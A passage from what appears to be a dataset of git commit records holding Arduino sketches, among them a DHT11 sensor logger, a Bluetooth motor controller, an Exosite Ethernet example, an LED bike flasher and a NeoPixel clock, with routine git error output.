DHTLIB_ERROR_CHECKSUM: \n Serial.println(\"DHT11 Checksum error\"); \n break;\n case DHTLIB_ERROR_TIMEOUT: \n Serial.println(\"DHT11 Time out error\"); \n break;\n default: \n Serial.println(\"DHT11 Unknown error\"); \n break;\n }\n\n Serial.print(\"Humidity (%): \");\n Serial.println((float)DHT11.humidity, 2);\n lcd.clear();\n \/\/ set the cursor to column 0, line 1\n \/\/ (note: line 1 is the second row, since counting begins with 0):\n lcd.setCursor(0, 0);\n lcd.print(\"Humidity \");\n lcd.setCursor(0, 1);\n lcd.print((float)DHT11.humidity,2);\n lcd.print(\" %\");\n sd.print((float)DHT11.humidity,2);\n sd.print(\",\");\n delay(2000);\n Serial.print(\"Temperature (\u00b0C): \");\n Serial.println((float)DHT11.temperature, 2);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Temperature \");\n lcd.setCursor(0, 1);\n lcd.print((float)DHT11.temperature, 2);\n lcd.print(\" C\");\n sd.print((float)DHT11.temperature, 2);\n sd.print(\",\");\n delay(2000);\n\n Serial.print(\"Temperature (\u00b0F): \");\n Serial.println(Fahrenheit(DHT11.temperature), 2);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Temperature \");\n lcd.setCursor(0, 1);\n lcd.print(Fahrenheit(DHT11.temperature), 2);\n lcd.print(\" F\");\n delay(2000);\n Serial.print(\"Temperature (\u00b0K): \");\n Serial.println(Kelvin(DHT11.temperature), 2);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Temperature \");\n lcd.setCursor(0, 1);\n lcd.print(Kelvin(DHT11.temperature), 2);\n lcd.print(\" K\");\n \/\/lcd.print(\"hello, world!\");\n delay(2000);\n Serial.print(\"Dew Point (\u00b0C): \");\n Serial.println(dewPoint(DHT11.temperature, DHT11.humidity));\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Dew Point (NOAA)\");\n lcd.setCursor(0, 1);\n lcd.print(dewPoint(DHT11.temperature, DHT11.humidity));\n lcd.print(\" C\");\n \/\/lcd.print(\"hello, world!\");\n delay(2000);\n Serial.print(\"Dew PointFast (\u00b0C): \");\n Serial.println(dewPointFast(DHT11.temperature, DHT11.humidity));\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Dew Point (Fast)\");\n lcd.setCursor(0, 1);\n lcd.print(dewPointFast(DHT11.temperature, DHT11.humidity));\n lcd.print(\" C\");\n\n \/\/close SD card file\n sd.print(\"\\n\");\n sd.close();\n\n delay(2000);\n \n}\n\n\n\/\/float getHeading(){\n\/\/ \/\/Get the reading from the HMC5883L and calculate the heading\n\/\/ MagnetometerScaled scaled = compass.ReadScaledAxis(); \/\/scaled values from compass.\n\/\/ float heading = atan2(scaled.YAxis, scaled.XAxis);\n\/\/\n\/\/ \/\/ Correct for when signs are reversed.\n\/\/ if(heading < 0) heading += 2*PI;\n\/\/ if(heading > 2*PI) heading -= 2*PI;\n\/\/\n\/\/ return heading * RAD_TO_DEG; \/\/radians to degrees\n\/\/}\n\n\n\/\/Celsius to Fahrenheit conversion\ndouble Fahrenheit(double celsius)\n{\n return 1.8 * celsius + 32;\n}\n\n\/\/ fast integer version with rounding\n\/\/int Celcius2Fahrenheit(int celcius)\n\/\/{\n\/\/ return (celsius * 18 + 5)\/10 + 32;\n\/\/}\n\n\n\/\/Celsius to Kelvin conversion\ndouble Kelvin(double celsius)\n{\n return celsius + 273.15;\n}\n\n\/\/ dewPoint function NOAA\n\/\/ reference (1) : http:\/\/wahiduddin.net\/calc\/density_algorithms.htm\n\/\/ reference (2) : http:\/\/www.colorado.edu\/geography\/weather_station\/Geog_site\/about.htm\n\/\/\ndouble dewPoint(double celsius, double humidity)\n{\n \/\/ (1) Saturation Vapor Pressure = ESGG(T)\n double RATIO = 373.15 \/ (273.15 + celsius);\n double RHS = -7.90298 * (RATIO - 1);\n RHS += 5.02808 * log10(RATIO);\n RHS += -1.3816e-7 * (pow(10, (11.344 * (1 - 1\/RATIO ))) - 1) ;\n RHS += 8.1328e-3 * (pow(10, (-3.49149 * (RATIO - 1))) - 1) ;\n RHS += log10(1013.246);\n\n \/\/ factor -3 is to adjust units - Vapor Pressure SVP * humidity\n double VP = pow(10, RHS - 3) * humidity;\n\n \/\/ (2) DEWPOINT = F(Vapor Pressure)\n double T = log(VP\/0.61078); \/\/ temp var\n return (241.88 * T) \/ (17.558 - T);\n}\n\n\/\/ delta max = 0.6544 wrt dewPoint()\n\/\/ 6.9 x faster than dewPoint()\n\/\/ reference: http:\/\/en.wikipedia.org\/wiki\/Dew_point\ndouble dewPointFast(double celsius, double humidity)\n{\n double a = 17.271;\n double b = 237.7;\n double temp = (a * celsius) \/ (b + celsius) + log(humidity*0.01);\n double Td = (b * temp) \/ (a - temp);\n return Td;\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'protoshield\/mwsv3\/mwsv3.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"d6137e1b5d0036e9ce3f94355433222e15c3f1a6","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"zanemountcastle\/bluetooth-motor,zanemountcastle\/bluetooth-motor,zanemountcastle\/bluetooth-motor","old_file":"Motor_v2.ino","new_file":"Motor_v2.ino","new_contents":"#include <CurieBLE.h>\n#define MOTOR_PIN 6\n\nBLEPeripheral blePeripheral;\nBLEService motorService = BLEService(\"5762\");\n\n\/\/ switchCharacteristic controls motor's on\/off state\nBLECharCharacteristic switchCharacteristic = \n BLECharCharacteristic(\"5763\", BLERead | BLEWrite);\nBLEDescriptor switchDescriptor = BLEDescriptor(\"2901\", \"Switch\");\n\n\/\/ speedCharacteristic controls the motor's speed\nBLECharCharacteristic speedCharacteristic = \n BLECharCharacteristic(\"5764\", BLERead | BLEWrite);\nBLEDescriptor speedDescriptor = BLEDescriptor(\"2901\", \"Speed\");\n\nvoid setup() {\n Serial.begin(9600);\n \n pinMode(MOTOR_PIN, OUTPUT);\n\n blePeripheral.setLocalName(\"Bluetooth Motor\");\n blePeripheral.setDeviceName(\"Bluetooth Motor\");\n blePeripheral.setAdvertisedServiceUuid(motorService.uuid());\n\n blePeripheral.addAttribute(motorService);\n \n blePeripheral.addAttribute(switchCharacteristic);\n blePeripheral.addAttribute(switchDescriptor);\n \n blePeripheral.addAttribute(speedCharacteristic);\n blePeripheral.addAttribute(speedDescriptor);\n\n switchCharacteristic.setEventHandler(BLEWritten, switchCharacteristicWritten);\n speedCharacteristic.setEventHandler(BLEWritten, speedCharacteristicWritten);\n\n\n blePeripheral.begin();\n\n while (! Serial); \/\/ Busy wait until serial ready\n Serial.println(F(\"Bluetooth Motor Ready!\\n\"));\n}\n\nvoid loop() {\n blePeripheral.poll();\n}\n\nvoid switchCharacteristicWritten(BLECentral& central, BLECharacteristic& characteristic) {\n Serial.print(F(\"Characteristic event, written: \"));\n\n if (switchCharacteristic.value()) {\n Serial.println(F(\"Motor on!\"));\n digitalWrite(MOTOR_PIN, HIGH);\n } else {\n Serial.println(F(\"Motor off!\"));\n digitalWrite(MOTOR_PIN, LOW);\n }\n}\n\nvoid speedCharacteristicWritten(BLECentral& central, BLECharacteristic& characteristic) {\n Serial.println(F(\"HERE\"));\n Serial.print(F(\"Motor set to: \"));\n Serial.println(speedCharacteristic.value());\n\n analogWrite(MOTOR_PIN, speedCharacteristic.value());\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f6cc84730d8a114907191ce5c4f582b514d79d03","subject":"New example to use with Arduino Compatible Device client model","message":"New example to use with Arduino Compatible Device client model\n\nFor use with the Arduino Compatible Device client model device type in portals.exosite.com.","repos":"exosite-garage\/arduino_exosite_library","old_file":"examples\/ExoEthernetGettingStarted.ino","new_file":"examples\/ExoEthernetGettingStarted.ino","new_contents":"\/\/*****************************************************************************\n\/\/\n\/\/ ExoEthernetGettingStarted - This example is can be used with the \"Arduino \n\/\/ Compatible Device\" device available in portals.exosite.com. It uses \n\/\/ provisioning to activate with Exosite instead of using a hard-coded CIK.\n\/\/ By default it does two things, one is reads the A0 analog value and sends\n\/\/ this to a dataport called A0. It also makes a read request for a dataport \n\/\/ called D2 and sets the Digital pin 2 to 1 or 0 based on that value.\n\/\/ \n\/\/ Developers can feel free to create new dataports to read and write to on the \n\/\/ Exosite platform for their device's client and also then add the code below to \n\/\/ interact with those dataports.\n\/\/\n\/\/ Tested with Arduino UNO SMD R2 and Arduino Ethernet Shield\n\/\/\n\/\/ Copyright (c) 2015 Exosite LLC. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Exosite LLC nor the names of its contributors may\n\/\/ be used to endorse or promote products derived from this software\n\/\/ without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITH ALL FAULTS.\n\/\/ NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT\n\/\/ NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY\n\/\/ CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL\n\/\/ DAMAGES, FOR ANY REASON WHATSOEVER.\n\/\/\n\/\/*****************************************************************************\n\n#include <SPI.h>\n#include <EEPROM.h>\n#include <Ethernet.h>\n#include <Exosite.h>\n\n\/*==============================================================================\n* Configuration Variables\n*\n* Change these variables to your own settings.\n*=============================================================================*\/\nbyte macData[] = { 0x00, 0xAA, 0xBB, 0xCC, 0xDE, 0x02 }; \/\/ <-- Fill in your Ethernet shield's MAC address here.\n\n\/\/ Enter your Unique Identifier code here\nchar unique_id[11] = \"0024A3D07D\"; \/\/ <-- Generated from Adding your device in portals.exosite.com\n\n\/\/ Use these variables to customize what datasources are read and written to.\nconst String readString = \"d2\";\n\n\/\/ Number of Errors before we try a reprovision.\nconst unsigned char reprovisionAfter = 3;\n\/*==============================================================================\n* End of Configuration Variables\n*=============================================================================*\/\n\nunsigned char errorCount = reprovisionAfter; \/\/ Force Provision On First Loop\nchar macString[18]; \/\/ Used to store a formatted version of the MAC Address\n\nclass EthernetClient client;\nExosite exosite(&client);\n\nString tempString;\nint index = 0;\nint lastIndex = -1;\n\n\n\/*==============================================================================\n* setup\n*\n* Arduino setup function.\n*=============================================================================*\/\nvoid setup() {\n Serial.begin(115200);\n Serial.println(F(\"Boot\"));\n\n pinMode(2, OUTPUT); \/\/assume using D2 as output to control remotely\n \n \/\/ Create MAC Address String in the format FF:FF:FF:FF:FF:FF\n snprintf(macString, 18, \"%02X:%02X:%02X:%02X:%02X:%02X\",\n macData[0], macData[1], macData[2], macData[3], macData[4], macData[5]);\n\n Serial.println(F(\"setting up Ethernet Connection...\"));\n \n \/\/ Setup Ethernet Connection\n if (Ethernet.begin(macData) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ no point in carrying on, so do nothing forevermore:\n for (;;)\n ;\n }\n \n\n \/\/ Print Some Useful Info\n Serial.print(F(\"MAC Address: \"));\n Serial.println(macString);\n\n Serial.print(F(\"IP Address: \"));\n Serial.println(Ethernet.localIP());\n\n Serial.print(F(\"Unique Identifier: \"));\n Serial.println(unique_id);\n \n Serial.print(F(\"Exo Arduino Lib Ver: \"));\n Serial.println(ACTIVATOR_VERSION);\n}\n\n\/*==============================================================================\n* loop\n*\n* Arduino loop function.\n*=============================================================================*\/\nvoid loop() {\n String writeString = \"\";\n String returnString = \"\";\n index = 0;\n lastIndex = -1;\n\n \n \/\/ Check if we should reprovision.\n if (errorCount >= reprovisionAfter) {\n if (exosite.provision(\"exosite\", \"ard-generic\", unique_id)) {\n errorCount = 0;\n }\n }\n String uptime_str = String(millis()\/1000);\n writeString += \"uptime=\"+ uptime_str;\n\n \/\/GET ANALOG 0 VALUE\n \/\/get average of a number of readings\n int avgValue=0;\n int readings = 0;\n unsigned long avgTot = 0;\n int avgCnt = 0;\n\n while(readings<10)\n {\n avgTot += analogRead(A0);\n avgCnt += 1;\n avgValue = avgTot\/avgCnt;\n readings++;\n }\n String analog0_str = String(avgValue);\n writeString += \"&a0=\"+ analog0_str;\n\n \n \/\/Make Write and Read request to Exosite Platform\n Serial.println(\"---- Do Read and Write ----\");\n if (exosite.writeRead(writeString, readString, returnString)) {\n Serial.println(\"OK\");\n Serial.print(\"Returned: \");\n Serial.println(returnString);\n Serial.println(\"Parse out dataport alias values\");\n errorCount = 0;\n for(;;){\n index = returnString.indexOf(\"=\", lastIndex+1);\n if(index != 0){\n String alias = \"\";\n tempString = returnString.substring(lastIndex+1, index);\n Serial.print(F(\"Alias: \"));\n Serial.println(tempString);\n lastIndex = returnString.indexOf(\"&\", index+1);\n alias = tempString;\n if(lastIndex != -1){\n tempString = returnString.substring(index+1, lastIndex);\n }else{\n tempString = returnString.substring(index+1);\n }\n \n \n if (alias == \"d2\"){\n if(tempString == \"1\"){\n digitalWrite(2, 1);\n Serial.println(\"set Digital2 to 1\");\n }else if(tempString == \"0\"){\n digitalWrite(2, 0);\n Serial.println(\"set Digital2 to 0\");\n }else{\n Serial.print(F(\"Unknown Setting: \"));\n Serial.println(tempString);\n }\n } else {\n Serial.println(\"Unknown Alias Dataport\");\n }\n \n if(lastIndex == -1)\n break; \n \n }else{\n Serial.println(F(\"No Index\"));\n break;\n }\n }\n \n } else {\n Serial.println(\"No Connection\");\n errorCount++;\n }\n\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ExoEthernetGettingStarted.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"1fd5ecb43ca227375701e186c78acae2857f7c00","subject":"Added the arduino code","message":"Added the arduino code\n","repos":"afaquejam\/Connectify","old_file":"arduino\/pressure_sensor_prod.ino","new_file":"arduino\/pressure_sensor_prod.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/afaquejam\/Connectify.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"99cda41ba89ba645df32779bdc4ccbd074f5ab15","subject":"Create bike_flasher.ino","message":"Create bike_flasher.ino","repos":"jsgarden\/bikeflasher","old_file":"bike_flasher.ino","new_file":"bike_flasher.ino","new_contents":"\/\/http:\/\/wayoda.github.io\/LedControl\/\n\/\/http:\/\/playground.arduino.cc\/Main\/LedControl\n\n#include \"LedControl.h\"\n#include \"binary.h\"\n\n\/*const DIN = 12;\n const CS = 11;\n const CLK = 10; *\/\n\nLedControl lc = LedControl (12,11,10,1);\n\n\/\/Delay time between updates (mandatory)\nunsigned long delaytime = 100;\n\nvoid setup() {\n lc.shutdown(0, false);\n lc.setIntensity(0, 8);\n lc.clearDisplay(0);\n}\n\nvoid writeArduinoOnMatrix() {\n \n byte left[8] = {0x0, 0x38, 0x70, 0xff, 0xff, 0x70, 0x38, 0x0};\n byte off[8] = {0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0};\n byte brake[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};\n \n}\n\nvoid rightArrow() {\n byte right[8] = {0x0, 0x1c, 0xe, 0xff, 0xff, 0xe, 0x1c, 0x0};\n \n lc.setRow(0,0,right[0]);\n lc.setRow(0,1,right[1]);\n lc.setRow(0,2,right[2]);\n lc.setRow(0,3,right[3]);\n lc.setRow(0,4,right[4]);\n lc.setRow(0,5,right[5]);\n lc.setRow(0,6,right[6]);\n lc.setRow(0,7,right[7]);\n delay(600);\n lc.clearDisplay(0);\n delay(600);\n}\n\nvoid loop() {\n \/\/writeArduinoOnMatrix();\n \/\/lc.setLed(0,0,1,true);\n rightArrow();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bike_flasher.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe95987ad23ead619adef3af4dd1b902d0a9d94a","subject":"new sketch that sets servo to 90 degrees","message":"new sketch that sets servo to 90 degrees\n","repos":"boscomonkey\/lazy-susan-arduino,boscomonkey\/lazy-susan-arduino","old_file":"servo-to-90-degrees\/servo-to-90-degrees.ino","new_file":"servo-to-90-degrees\/servo-to-90-degrees.ino","new_contents":"\/\/-*- C -*-\n\n#include <Servo.h>\n\nServo myservo; \/\/ create servo object to control a servo\n \/\/ a maximum of eight servo objects can be created\n\n\/\/ multiply by degrees to get radians\n\/\/\nconst double degrees_to_radians = 0.0174532925;\n\nvoid setup() {\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n myservo.write(90);\n\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(100); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(100); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'servo-to-90-degrees\/servo-to-90-degrees.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2a1225301123bf75ab17da02f70f37f1ed6067f2","subject":"Readding prepare404Error() function into global namespace use outside of a specific http handler in case the server cant assign a handler.","message":"Readding prepare404Error() function into global namespace use outside of a specific http handler in case the server cant assign a handler.\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9aad1ef32dfcd5783f7a1bdf9380b313f7dfca03","subject":"Imports Arduino PID control code","message":"Imports Arduino PID control code\n","repos":"thomaswyatt01\/igvc-software,ytulsiani\/igvc-software,thomaswyatt01\/igvc-software,nareddyt\/igvc-software,thaeds\/igvc-software,jondolan\/igvc-software,prabhu-dev\/LineDetectorLengthFix,rmkeezer\/igvc-software,jondolan\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,seanrsain\/igvc-software,prabhu-dev\/LineDetectorLengthFix,seanrsain\/igvc-software,sayakchatterjee\/igvc-software,sgadgil6\/igvc-software,nareddyt\/igvc-software,zachcmathews\/igvc-software,DavidPurcell\/igvc-software,jgkamat\/igvc-software,DavidPurcell\/igvc-software,sgadgil6\/igvc-software,prabhu-dev\/LineDetectorLengthFix,RoboJackets\/igvc-software,jgkamat\/igvc-software,kscharm\/igvc-software,rortiz9\/igvc-software,dpattison3\/igvc-software,thaeds\/igvc-software,DavidPurcell\/igvc-software,sayakchatterjee\/igvc-software,sgadgil6\/igvc-software,sayakchatterjee\/igvc-software,RoboJackets\/igvc-software,jgkamat\/igvc-software,RoboJackets\/igvc-software,thomaswyatt01\/igvc-software,ytulsiani\/igvc-software,zachcmathews\/igvc-software,rortiz9\/igvc-software,thaeds\/igvc-software,monstorium\/igvc-software,thaeds\/igvc-software,vmurahari3\/igvc-software,prabhu-dev\/LineDetectorLengthFix,DavidPurcell\/igvc-software,monstorium\/igvc-software,monstorium\/igvc-software,jgkamat\/igvc-software,dpattison3\/igvc-software,jondolan\/igvc-software,thomaswyatt01\/igvc-software,RoboJackets\/igvc-software,sgadgil6\/igvc-software,ytulsiani\/igvc-software,vmurahari3\/igvc-software,rmkeezer\/igvc-software,vmurahari3\/igvc-software,nareddyt\/igvc-software,zachcmathews\/igvc-software,ytulsiani\/igvc-software,thomaswyatt01\/igvc-software,monstorium\/igvc-software,kscharm\/igvc-software,dpattison3\/igvc-software,nareddyt\/igvc-software,vmurahari3\/igvc-software,monstorium\/igvc-software,sgadgil6\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thaeds\/igvc-software,seanrsain\/igvc-software,sayakchatterjee\/igvc-software,seanrsain\/igvc-software,rqiu8\/igvc-software,rqiu8\/igvc-software,jzheng84\/igvc-software,rortiz9\/igvc-software,dpattison3\/igvc-software,jondolan\/igvc-software,seanrsain\/igvc-software,DavidPurcell\/igvc-software,rqiu8\/igvc-software,rqiu8\/igvc-software,zachcmathews\/igvc-software,rmkeezer\/igvc-software,sayakchatterjee\/igvc-software,jondolan\/igvc-software,jzheng84\/igvc-software,rqiu8\/igvc-software,nareddyt\/igvc-software,ytulsiani\/igvc-software,kscharm\/igvc-software,jgkamat\/igvc-software,jzheng84\/igvc-software,kscharm\/igvc-software,jzheng84\/igvc-software","old_file":"arduino\/Motors\/encoder\/encoder.ino","new_file":"arduino\/Motors\/encoder\/encoder.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"180ea9e789c2c75602bd66837e63fc8bdbfab6e0","subject":"Added a dimmed version without ms pulsing, as the pulsing was annoying by the TV","message":"Added a dimmed version without ms pulsing, as the pulsing was annoying by the TV\n","repos":"HackBergen\/SparkCore","old_file":"neoclock-dimmed.ino","new_file":"neoclock-dimmed.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"SparkCorePolledTimer\/SparkCorePolledTimer.h\"\n\n\/\/ extended from time_loop from https:\/\/github.com\/zeroeth\/time_loop \n#include \"application.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"neopixel\/neopixel.h\"\n\n#define PIXEL_COUNT 12\n#define PIXEL_PIN A7\n#define PIXEL_TYPE WS2812B\nboolean LEDflag = FALSE;\n#define LED D7 \/\/ Tiny blue LED onboard\n\n\/\/ From adaFruit NEOPIXEL goggles example: Gamma correction improves appearance of midrange colors\nconst uint8_t gamma[] = {\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3,\n 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 7,\n 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 11, 11, 11, 12, 12,\n 13, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20,\n 20, 21, 21, 22, 22, 23, 24, 24, 25, 25, 26, 27, 27, 28, 29, 29,\n 30, 31, 31, 32, 33, 34, 34, 35, 36, 37, 38, 38, 39, 40, 41, 42,\n 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57,\n 58, 59, 60, 61, 62, 63, 64, 65, 66, 68, 69, 70, 71, 72, 73, 75,\n 76, 77, 78, 80, 81, 82, 84, 85, 86, 88, 89, 90, 92, 93, 94, 96,\n 97, 99,100,102,103,105,106,108,109,111,112,114,115,117,119,120,\n 122,124,125,127,129,130,132,134,136,137,139,141,143,145,146,148,\n 150,152,154,156,158,160,162,164,166,168,170,172,174,176,178,180,\n 182,184,186,188,191,193,195,197,199,202,204,206,209,211,213,215,\n 218,220,223,225,227,230,232,235,237,240,242,245,247,250,252,255\n};\n\n\/\/ Mapping to rotate the dial so the core is positioned \"flat\"\n\/\/ Original LED location - alas written on the silkscreen\n\/\/ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12\nconst uint8_t LEDmap[] = {\n 8, 9, 10, 11, 0, 1, 2, 3, 4, 5, 6, 7\n};\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ note: if not specified, D2 is selected for you.\n\/\/ Parameter 3 = pixel type [ WS2812, WS2812B, WS2811, TM1803 ]\n\/\/ note: if not specified, WS2812B is selected for you.\n\/\/ note: RGB order is automatically applied to WS2811,\n\/\/ WS2812\/WS2812B\/TM1803 is GRB order.\n\/\/\n\/\/ 800 KHz bitstream 800 KHz bitstream (most NeoPixel products ...\n\/\/ ... WS2812 (6-pin part)\/WS2812B (4-pin part) )\n\/\/\n\/\/ 400 KHz bitstream (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ (Radio Shack Tri-Color LED Strip - TM1803 driver\n\/\/ NOTE: RS Tri-Color LED's are grouped in sets of 3)\n\n\/\/Adafruit_NeoPixel strip = Adafruit_NeoPixel(12, PIN, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nuint32_t milli_color = strip.Color ( 0, 0, 0);\nuint32_t second_color = strip.Color ( 0, 0, 5);\nuint32_t second_color_weak = strip.Color ( 0, 0, 3);\nuint32_t minute_color = strip.Color ( 0,10, 0);\nuint32_t hour_color = strip.Color (10, 0, 0);\n\nuint32_t off_color = strip.Color ( 1, 1, 1);\nuint32_t off_color_strong = strip.Color ( 0, 1, 0);\n\n\n\/* CLOCK *\/\nclass ClockPositions\n{\n public:\n uint8_t milli;\n uint8_t second;\n uint8_t minute;\n uint8_t hour;\n\n ClockPositions ();\n void update ();\n};\n\n\nClockPositions::ClockPositions()\n{\n milli = second = minute = hour = 0;\n \/\/milli = 0;\n \/\/second = 0; \/\/Time.second();\n \/\/minute = 5; \/\/Time.minute();\n \/\/hour = 2; Time.hour();\n \/\/DateTime(__DATE__, __TIME__);\n}\n\n\nvoid ClockPositions::update()\n{\n milli = map ((millis() % 1000), 0, 1000, 0, PIXEL_COUNT);\n second = map (Time.second(), 0, 60, 0, PIXEL_COUNT);\n minute = map (Time.minute(), 0, 60, 0, PIXEL_COUNT);\n hour = map (Time.hour(), 0, 12, 0, PIXEL_COUNT);\n}\n\n\n\n\/* CLOCK VIEW *\/\n\nclass ClockSegments\n{\n public:\n ClockPositions &positions;\n Adafruit_NeoPixel &strip;\n\n ClockSegments (Adafruit_NeoPixel&, ClockPositions&);\n void draw ();\n void clear ();\n void add_color (uint8_t position, uint32_t color);\n uint32_t blend (uint32_t color1, uint32_t color2);\n};\n\n\nClockSegments::ClockSegments (Adafruit_NeoPixel& n_strip, ClockPositions& n_positions): strip (n_strip), positions (n_positions)\n{\n}\n\n\nvoid ClockSegments::draw()\n{\n clear();\n\n add_color (positions.minute % PIXEL_COUNT, minute_color);\n add_color (positions.hour % PIXEL_COUNT, hour_color );\n\/\/ add_color ((positions.hour+1) % PIXEL_COUNT, hour_color );\n\n add_color (positions.second % PIXEL_COUNT, second_color);\n add_color ((positions.second-1) % PIXEL_COUNT, second_color_weak);\n\/\/ add_color ((positions.second+2) % PIXEL_COUNT, second_color);\n\n add_color (positions.milli % PIXEL_COUNT, milli_color);\n add_color ((positions.milli+1) % PIXEL_COUNT, milli_color);\n add_color ((positions.milli+2) % PIXEL_COUNT, milli_color);\n\n strip.show ();\n}\n\n\nvoid ClockSegments::add_color (uint8_t position, uint32_t color)\n{\n uint32_t blended_color = blend (strip.getPixelColor (LEDmap[position]), color);\n\n \/* Gamma mapping *\/\n uint8_t r,b,g;\n\n r = (uint8_t)(blended_color >> 16),\n g = (uint8_t)(blended_color >> 8),\n b = (uint8_t)(blended_color >> 0);\n\n strip.setPixelColor (LEDmap[position], blended_color);\n}\n\n\nuint32_t ClockSegments::blend (uint32_t color1, uint32_t color2)\n{\n uint8_t r1,g1,b1;\n uint8_t r2,g2,b2;\n uint8_t r3,g3,b3;\n\n r1 = (uint8_t)(color1 >> 16),\n g1 = (uint8_t)(color1 >> 8),\n b1 = (uint8_t)(color1 >> 0);\n\n r2 = (uint8_t)(color2 >> 16),\n g2 = (uint8_t)(color2 >> 8),\n b2 = (uint8_t)(color2 >> 0);\n\n\n return strip.Color (constrain (r1+r2, 0, 255), constrain (g1+g2, 0, 255), constrain (b1+b2, 0, 255));\n}\n\n\nvoid ClockSegments::clear ()\n{\n for(uint16_t i=0; i<strip.numPixels (); i++) {\n if ((i == 0) || (i == 3) || (i == 6) || (i == 9)) { \n strip.setPixelColor (LEDmap[i], off_color_strong); \n } else {\n strip.setPixelColor (LEDmap[i], off_color);\n }\n }\n}\n\n\n\/* APP *\/\nClockPositions positions;\nClockSegments segments(strip, positions);\n\nSYSTEM_MODE(SEMI_AUTOMATIC);\n\nSparkCorePolledTimer updateTimer(10000); \/\/Create a timer object and set it's timeout in milliseconds\nvoid OnTimer(void); \/\/Prototype for timer callback method\n\nvoid setup ()\n{\n Time.zone(+1); \/\/ We are in Norway\n strip.begin 